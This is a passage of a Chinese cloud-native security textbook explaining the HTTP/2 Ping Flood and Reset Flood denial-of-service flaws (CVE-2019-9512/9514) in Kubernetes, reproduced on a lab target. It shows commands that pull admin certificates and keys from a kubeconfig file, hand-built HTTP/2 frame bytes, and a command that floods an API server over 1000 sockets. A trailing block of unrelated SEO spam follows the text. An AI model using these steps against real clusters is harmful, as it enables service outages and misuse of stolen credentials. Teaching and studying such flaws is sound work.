官术网_书友最值得收藏!

4.4.2 CVE-2019-9512/9514:HTTP/2協議實現存在問題

2019年8月13日,Netflix發布了一則安全通告[1],指出多個HTTP/2協議第三方庫實現中存在若干拒絕服務漏洞。

其中,CVE-2019-9512和CVE-2019-9514存在于Kubernetes依賴的Go語言庫net/http和golang.org/x/net/http2中,兩個漏洞的CVSS 3.x評分均為7.5分。截至當時,除了最新發布的修復版本外,全部版本的Kubernetes受影響。

兩個漏洞的影響是相似的,只是原理稍有不同:

·CVE-2019-9512漏洞使Kubernetes集群存在Ping Flood攻擊風險:攻擊者可以持續不斷地向HTTP/2對端發送PING幀(frame),但不讀取響應幀(PING ACK),促使對端維護一個內部隊列存儲產生的響應幀。如果響應幀入隊列效率不高,以上操作可能造成CPU、內存或兩者同時大量消耗,從而導致拒絕服務。

·CVE-2019-9514漏洞使Kubernetes集群存在Reset Flood攻擊風險:攻擊者可以開啟若干個流(stream),在每個流上發送非法請求,這將促使對端發送一個RST_STREAM幀嘗試終止流。如果RST_STREAM幀入隊列效率不高,以上操作可能造成CPU、內存或兩者同時大量消耗,從而導致拒絕服務。

讀者可能會問:Ping Flood攻擊通常不都是與ICMP有關嗎,Reset Flood又是什么呢(注意與TCP Reset攻擊區別開來[2]),為什么它們都出現在HTTP/2協議中呢?

要弄明白這些問題,我們首先需要了解一些關于HTTP/2的背景知識。

HTTP是現代互聯網上最重要的協議之一。1989年,HTTP開始出現;1996年,HTTP/1.0規范通過,對應RFC 1945文檔;1999年,RFC 2616文檔給出了HTTP/1.1規范。接下來,很長一段時間沒有新的HTTP規范出現,直到2015年,RFC 7540發布,HTTP/2作為正式協議推出。HTTP/2保留對以往標準的兼容,但是在傳輸過程上有很大差異。它采用基于幀的二進制協議,并且會對首部進行壓縮。

HTTP/2允許對一條TCP連接進行多路復用。為實現這個功能,它引入了如下這些概念:

·流(stream):TCP連接上的雙向字節流,可以攜帶一個或多個消息。

·消息(message):一系列構成了完整的請求或響應的幀。

·幀(frame):HTTP/2的最小通信單元,每個幀包含一個幀頭部。

上述三者的關系可以用圖4-8表示。

圖4-8 HTTP/2的流、消息與幀之間的關系

一個幀由首部和載荷(payload)組成。首部共9字節,余下皆為載荷。幀的結構如圖4-9所示。

圖4-9 HTTP/2幀結構

其中,流ID用來表示當前幀所屬的流。

HTTP/2有多種不同類型的幀,其中就包括PING幀和RST_STREAM幀:

1)PING幀主要用來計算兩個端點之間的往返時間及測試對端存活狀態。該幀包含一個標識位ACK,如果一端收到另一端發來的不帶ACK的幀,按照協議,它就必須返回一個ACK置位的響應幀。

2)RST_STREAM幀用來告知對端終止一個流。

圖4-10是用Wireshark抓包得到的PING幀請求與應答對照圖。

圖4-10 PING幀的請求與應答

讀到這里,讀者大概就明白為什么HTTP/2中會出現Ping Flood和Reset Flood攻擊了。雖然HTTP/2是一個應用層協議,但它引入了與ICMP、TCP相似的控制機制,也就同樣引入了機制帶來的風險。

基礎知識就介紹到這里。如欲了解更多關于HTTP/2的內容,可參考相關文獻[3]

在進行漏洞復現實踐之前,我們先借助curl來體驗一下與Kubernetes API Server的HTTP/2交互。

在啟用了RBAC機制的Kubernetes集群中,從外部直接訪問API Server接口可能會被禁止。因此,攻擊者往往需要本身具有訪問API Server的一定權限(不需要非常高,只需要能訪問一些簡單接口即可,如/healthz)。為方便演示,我們首先從Kubernetes管理員家目錄的kube-config文件中獲取訪問憑證并存儲在本地,執行如下命令:


grep client-cert ~/.kube/config | cut -d" " -f 6 | base64 -d > ./client_cert
grep client-key-data ~/.kube/config | cut -d" " -f 6 | base64 -d > ./client_
    key_data
grep certificate-authority-data ~/.kube/config | cut -d" " -f 6 | base64 -d >
    ./certificate_authority_data

然后利用curl向API Server發起訪問:


root@k8s:~# api_server_url=$(kubectl config view | grep server | awk '{print
    $2}')
root@k8s:~# curl --cert ./client_cert --key ./client_key_data --cacert ./
    certificate_authority_data $api_server_url/healthz --http2 -v
> GET /healthz HTTP/2
> Host: xxx.xxx.xxx.xxx:6443
> User-Agent: curl/7.64.1
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS == 250)!
< HTTP/2 200
< content-type: text/plain; charset=utf-8
< content-length: 2
< date: Mon, 26 Oct 2020 03:13:17 GMT
<
* Connection #0 to host xxx.xxx.xxx.xxx left intact
ok* Closing connection 0

接下來,我們就進入到激動人心的實踐環節。由于CVE-2019-9512和CVE-2019-9514的原理類似,這里筆者僅給出針對CVE-2019-9512的PoC編寫(基于Python)和漏洞復現過程。CVE-2019-9514作為一個小挑戰,留給感興趣的讀者。

大家可以使用開源的metarget靶機項目在Ubuntu服務器上一鍵部署漏洞環境,在參照項目主頁安裝metarget后,直接執行以下命令:


./metarget cnv install cve-2019-9512

即可部署存在CVE-2019-9512漏洞的Kubernetes集群。

與前面的小實驗相同,我們首先從Kubernetes管理員家目錄的kube-config文件中獲取訪問憑證并存儲在本地,執行如下命令:


grep client-cert ~/.kube/config | cut -d" " -f 6 | base64 -d > ./client_cert
grep client-key-data ~/.kube/config | cut -d" " -f 6 | base64 -d > ./client_
    key_data
grep certificate-authority-data ~/.kube/config | cut -d" " -f 6 | base64 -d >
    ./certificate_authority_data

API Server采用HTTPS保證安全。因此,在進行HTTP/2交互前,我們首先要配置一個上下文:


# 配置到Kubernetes API Server的TLS上下文
self._context = ssl.SSLContext(ssl.PROTOCOL_TLS)
self._context.check_hostname = False
self._context.load_cert_chain(certfile="./client_cert", keyfile="./client_
    key_data")
self._context.load_verify_locations("./certificate_authority_data")
self._context.verify_mode = ssl.CERT_REQUIRED
# 協議協商
self._context.set_alpn_protocols(['h2', 'http/1.1'])

上述步驟中值得注意的是,我們需要在最后加上應用層協議協商環節,也就是采用ALPN擴展告知API Server接下來優先采用HTTP/2進行通信。

配置完成后,就可以利用這個上下文創建socket。按照協議,先發送HTTP/2的魔法字節流,然后再發送一個SETTINGS幀:


PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
SETTINGS_FRAME = b"\x00\x00\x12\x04\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\
    x64\x00" \
    b"\x04\x40\x00\x00\x00\x00\x02\x00\x00\x00\x00"

接著,就可以發送HEADERS幀,向/healthz接口發起請求:


HEADERS_FRAME_healthz = b"\x00\x00\x29\x01\x05\x00\x00\x00\x01\x82\x04\x86\
    x62\x72\x8e\x84" \
    b"\xcf\xef\x87\x41\x8e\x0b\xe2\x5c\x2e\x3c\xb8\x5f\x5c\x4d\x8a\xe3" \
    b"\x8d\x34\xcf\x7a\x88\x25\xb6\x50\xc3\xab\xb8\xd2\xe1\x53\x03\x2a" \
    b"\x2f\x2a"

以上具體的幀內容均為通過curl訪問API Server,再使用Wireshark抓包獲得。

然后,我們向服務器返回一個SETTINGS幀的確認幀:


SETTINGS_ACK_FRAME = b"\x00\x00\x00\x04\x01\x00\x00\x00\x00"

接下來就可以向服務器發送PING幀了。按照協議構造PING幀如下:


PING_FRAME = b"\x00\x00\x08" \
    b"\x06" \
    b"\x00" \
    b"\x00\x00\x00\x00" \
    b"\x00\x01\x02\x03\x04\x05\x06\x07"

以上就是一次向API Server發起查詢請求并發送一次PING幀的全過程。當然,單獨一次是無法造成拒絕服務的,將上述步驟自動化循環進行即可。完整PoC見隨書源碼[4]

注意,如果需要在本地Wireshark抓包檢查上述流程是否符合預期,可以在配置上下文時添加一行:


self._context.keylog_filename = "/root/keylog"

上述腳本運行后,會在/root/keylog生成keylog文件,我們可以為Wireshark配置這個文件,來對HTTPS流量進行解密。這里不再詳述配置過程,讀者可參考相關文獻[5]

最后,我們以存在漏洞的Kubernetes的API Server為目標,執行以下命令,創建1000個socket發動Ping Flood攻擊:


python3 CVE-2019-9512-poc.py KUBE-API-SERVER-IP KUBE-API-SERVER-PORT 1000

攻擊發起后,在目標機器上使用htop命令監視資源消耗情況。可以發現,CPU的使用率達到了非常高的水平,說明我們已經實現了一定的拒絕服務效果,如圖4-11所示。

圖4-11 Ping Flood攻擊后目標機器的資源使用情況

與基于流量的拒絕服務攻擊相比,利用漏洞直接使目標崩潰或資源耗盡所需要的攻擊成本通常是微不足道的。因此,我們必須提高對云原生環境下可能導致拒絕服務攻擊漏洞的重視程度,提早研究和發現漏洞,部署周全的安全防護機制,及時升級軟件版本,才能在最大程度上減小這類漏洞帶來的經濟損失。

[1] https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md。

[2] https://en.wikipedia.org/wiki/TCP_reset_attack。

[3] https://hpbn.co/http2/。

[4] https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0404-K8s拒絕服務攻擊/CVE-2019-9512-poc.py。

[5] https://wiki.wireshark.org/TLS。

主站蜘蛛池模板: 日照市| 北川| 江安县| 聊城市| 赤城县| 思茅市| 宁德市| 乐亭县| 新化县| 广德县| 左贡县| 明水县| 武威市| 图们市| 广南县| 社会| 临江市| 金华市| 蓬安县| 台东县| 额尔古纳市| 甘孜县| 特克斯县| 灵璧县| 南阳市| 龙南县| 淮滨县| 灵山县| 贵德县| 文山县| 临武县| 南充市| 和静县| 绥德县| 哈巴河县| 新丰县| 灵璧县| 外汇| 惠安县| 德惠市| 禄丰县|